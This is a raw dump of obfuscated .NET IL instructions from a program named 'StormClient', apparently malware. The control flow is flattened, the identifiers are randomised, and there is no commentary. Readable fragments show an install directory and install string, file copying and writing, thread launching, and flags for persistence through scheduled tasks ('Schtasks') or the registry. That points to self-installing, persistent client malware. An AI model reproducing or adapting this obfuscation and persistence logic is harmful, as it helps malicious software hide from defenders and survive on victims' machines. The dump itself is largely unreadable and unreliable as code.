<Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ac7026f643ad45e892438c0ce5f555a2 brtrue IL_04A6: switch(IL_04F4,IL_04B8) pop <null> ldc.i4 1 br IL_04A6: switch(IL_04F4,IL_04B8) ldloc V_8 switch dnlib.DotNet.Emit.Instruction[] br IL_04F4: leave IL_05A8 ldloc.s V_11 ldsfld System.String External::InstallStr ldsfld V5m6Ld1ArdAOD8grP39 V5m6Ld1ArdAOD8grP39::q9k11HJAxd call System.String V5m6Ld1ArdAOD8grP39::MDyZS8xBcS(System.String,V5m6Ld1ArdAOD8grP39) ldloc.s V_0 ldsfld AoIDAY1VBR2vk32qYMb AoIDAY1VBR2vk32qYMb::PyR1FVTYjB call System.Void AoIDAY1VBR2vk32qYMb::MDyZS8xBcS(System.Object,System.String,System.Object,AoIDAY1VBR2vk32qYMb) ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_6aa1a5c734aa4977b6da80a6ea5ff8c3 brtrue IL_04A6: switch(IL_04F4,IL_04B8) pop <null> ldc.i4 0 br IL_04A6: switch(IL_04F4,IL_04B8) leave IL_05A8: leave IL_03F5 ldloc.s V_11 brtrue IL_055D: ldloc.s V_11 ldc.i4 2 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_64d70bb98425449291ca4553f31ad152 brfalse IL_0523: switch(IL_055D,IL_0588,IL_0539) pop <null> ldc.i4 0 br IL_0523: switch(IL_055D,IL_0588,IL_0539) ldloc V_5 switch dnlib.DotNet.Emit.Instruction[] br IL_055D: ldloc.s V_11 br IL_0588: endfinally ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_d79f244f7eb74319965e3d22e96abed6 brfalse IL_0523: switch(IL_055D,IL_0588,IL_0539) pop <null> ldc.i4 0 br IL_0523: switch(IL_055D,IL_0588,IL_0539) ldloc.s V_11 ldsfld mQGQthaz4oCHAenV6AX mQGQthaz4oCHAenV6AX::WZyAvGFXy2 call System.Void mQGQthaz4oCHAenV6AX::MDyZS8xBcS(System.Object,mQGQthaz4oCHAenV6AX) ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_09ac5dd705a64f888f9dd704efb00014 brfalse IL_0523: switch(IL_055D,IL_0588,IL_0539) pop <null> ldc.i4 0 br IL_0523: switch(IL_055D,IL_0588,IL_0539) endfinally <null> ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_6bb845da9e8f4cefb6d8a2a760514734 brtrue IL_0469: switch(IL_047B,IL_05A8) pop <null> ldc.i4 1 br IL_0469: switch(IL_047B,IL_05A8) leave IL_03F5: ldsfld oLyyBn1PkU50Ffq57Yp oLyyBn1PkU50Ffq57Yp::FBg1rVt8NY pop <null> ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_c75709b58fe6481493581f2458dfdd36 brtrue IL_05D1: switch(IL_05DF) pop <null> ldc.i4 0 br IL_05D1: switch(IL_05DF) ldloc V_1 switch dnlib.DotNet.Emit.Instruction[] br IL_05DF: leave IL_03F5 leave IL_03F5: ldsfld oLyyBn1PkU50Ffq57Yp oLyyBn1PkU50Ffq57Yp::FBg1rVt8NY ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_b638bdcf498e4a8ea4ce04a3e71d6dbe brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 1 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) nop <null> ldloc.s V_0 newobj System.Void System.IO.FileInfo::.ctor(System.String) ldsfld Obcy7HALNmK795QItJ1 Obcy7HALNmK795QItJ1::PjaAy1n2KK call System.IO.DirectoryInfo Obcy7HALNmK795QItJ1::MDyZS8xBcS(System.Object,Obcy7HALNmK795QItJ1) ldsfld NUhe8WAEhlbMF2ysmS3 NUhe8WAEhlbMF2ysmS3::A7AA7KgnXW call System.String NUhe8WAEhlbMF2ysmS3::MDyZS8xBcS(System.Object,NUhe8WAEhlbMF2ysmS3) stloc.s V_2 ldc.i4 3 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc V_13 switch dnlib.DotNet.Emit.Instruction[] br IL_06B1: ldloc.s V_2 ldc.i4 1000 ldsfld FFavcMaU0HnFfcxhvOX FFavcMaU0HnFfcxhvOX::VRCabwAMeR call System.Void FFavcMaU0HnFfcxhvOX::MDyZS8xBcS(System.Int32,FFavcMaU0HnFfcxhvOX) ldc.i4 7 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_279e68898cfc473fa1f00312becda2cf brtrue IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) pop <null> ldc.i4 0 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_0 ldsfld R9s8Br1tq0CyLEHOQD1 R9s8Br1tq0CyLEHOQD1::VWD1ikqoJU call System.Boolean R9s8Br1tq0CyLEHOQD1::MDyZS8xBcS(System.String,R9s8Br1tq0CyLEHOQD1) brtrue IL_071D: ldloc.s V_0 ldc.i4 2 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) br IL_0659: ldc.i4 1000 ldc.i4 5 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_2 ldsfld FsC2NcAzZuZ2i9w64j4 FsC2NcAzZuZ2i9w64j4::rfr1v7m0Vf call System.IO.DirectoryInfo FsC2NcAzZuZ2i9w64j4::MDyZS8xBcS(System.String,FsC2NcAzZuZ2i9w64j4) pop <null> ldc.i4 6 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_2 ldsfld lHRC1aA8Cw41RLQ2Mqg lHRC1aA8Cw41RLQ2Mqg::eUEAXqn04w call System.Boolean lHRC1aA8Cw41RLQ2Mqg::MDyZS8xBcS(System.String,lHRC1aA8Cw41RLQ2Mqg) brtrue IL_0687: ldloc.s V_0 ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_c3f0c12219a24f91820c1220257c0a5c brtrue IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) pop <null> ldc.i4 0 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_0 ldsfld System.Object S0ks67awBcQWk9ntbj.M95VsIZwpCLCmSBGlW::kZqNBpyZJ ldsfld a15mVy1UnsnjQXX8qZP a15mVy1UnsnjQXX8qZP::PCq1bEHJC6 call System.Byte[] a15mVy1UnsnjQXX8qZP::MDyZS8xBcS(System.String,a15mVy1UnsnjQXX8qZP) ldsfld kUevjQ1wqNNK6DPsajh kUevjQ1wqNNK6DPsajh::JIA1H4FOUA call System.Void kUevjQ1wqNNK6DPsajh::MDyZS8xBcS(System.String,System.Byte[],kUevjQ1wqNNK6DPsajh) ldc.i4 4 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) ldloc.s V_0 newobj System.Void System.IO.FileInfo::.ctor(System.String) ldsfld GsTO2N1Mb9FGlqgkJhq GsTO2N1Mb9FGlqgkJhq::wKj1JmCTKK call System.Void GsTO2N1Mb9FGlqgkJhq::MDyZS8xBcS(System.Object,GsTO2N1Mb9FGlqgkJhq) ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_9aa1a34587114fc38b752c4940c0d1bf brtrue IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) pop <null> ldc.i4 1 br IL_062F: switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) leave IL_0793: ldsfld System.Boolean External::Schtasks pop <null> ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ae34551c2760488ead01dc1c2bea6bf1 brfalse IL_0776: switch(IL_0784) pop <null> ldc.i4 0 br IL_0776: switch(IL_0784) ldloc V_7 switch dnlib.DotNet.Emit.Instruction[] br IL_0784: leave IL_0793 leave IL_0793: ldsfld System.Boolean External::Schtasks ldc.i4 17 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::Schtasks brfalse IL_07A7: ldsfld System.Boolean External::Registry ldc.i4 2 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::Registry brfalse IL_03F5: ldsfld oLyyBn1PkU50Ffq57Yp oLyyBn1PkU50Ffq57Yp::FBg1rVt8NY ldc.i4 20 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld i56jt4AsN4Ovs3FAVqy i56jt4AsN4Ovs3FAVqy::tWnA0lBwbp call System.Boolean i56jt4AsN4Ovs3FAVqy::MDyZS8xBcS(i56jt4AsN4Ovs3FAVqy) pop <null> ldc.i4 8 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_f4a7dfd6c1cb4deba5068bfd1f1d4823 brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 5 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Threading.ThreadStart StormClient.Program/<>c::mlJytlPG3 dup <null> brtrue IL_08BC: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldc.i4 5 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_84933b02eaeb4184b15de94c17c0f30e brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 6 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.String External::InstallDir ldsfld System.String External::InstallStr ldsfld VYJrsrAgvMCL4sWWX3K VYJrsrAgvMCL4sWWX3K::HpyAGtPQ4R call System.String VYJrsrAgvMCL4sWWX3K::MDyZS8xBcS(System.String,System.String,VYJrsrAgvMCL4sWWX3K) stloc.s V_0 ldc.i4 21 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Threading.ThreadStart StormClient.Program/<>c::FKoE6Vx8P dup <null> brtrue IL_08F8: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_f02191b7205f4ed7a6c33288b4b2b148 brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 0 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld Ce3jtf1hu8bKapRGdt5 Ce3jtf1hu8bKapRGdt5::jas1Smiqnq call System.Void Ce3jtf1hu8bKapRGdt5::MDyZS8xBcS(Ce3jtf1hu8bKapRGdt5) ldc.i4 18 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::Registry brfalse IL_088E: ldsfld System.Boolean External::Schtasks ldc.i4 9 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) nop <null> ldc.i4 11 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::Schtasks brtrue IL_0883: nop ldc.i4 4 stloc V_4 br IL_0015: ldloc V_4 ldsfld StormClient.Program/<>c StormClient.Program/<>c::Ax9Le5KBa ldftn System.Void StormClient.Program/<>c::lyRgJ9TOK() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart StormClient.Program/<>c::mlJytlPG3 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.s V_9 ldc.i4 19 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_c3f0c12219a24f91820c1220257c0a5c brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 9 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld StormClient.Program/<>c StormClient.Program/<>c::Ax9Le5KBa ldftn System.Void StormClient.Program/<>c::E4uGuiv7p() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart StormClient.Program/<>c::FKoE6Vx8P newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) ldloc.s V_9 ldsfld Wl09ow15WEGhif7g4Ym Wl09ow15WEGhif7g4Ym::UGj1DlIeo2 call System.Void Wl09ow15WEGhif7g4Ym::MDyZS8xBcS(System.Object,Wl09ow15WEGhif7g4Ym) dup <null> ldsfld Wl09ow15WEGhif7g4Ym Wl09ow15WEGhif7g4Ym::UGj1DlIeo2 call System.Void Wl09ow15WEGhif7g4Ym::MDyZS8xBcS(System.Object,Wl09ow15WEGhif7g4Ym) ldsfld Ob1fYH1ed4H2djH2eso Ob1fYH1ed4H2djH2eso::qk91Qf4x2O call System.Void Ob1fYH1ed4H2djH2eso::MDyZS8xBcS(System.Object,Ob1fYH1ed4H2djH2eso) ldc.i4 22 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C)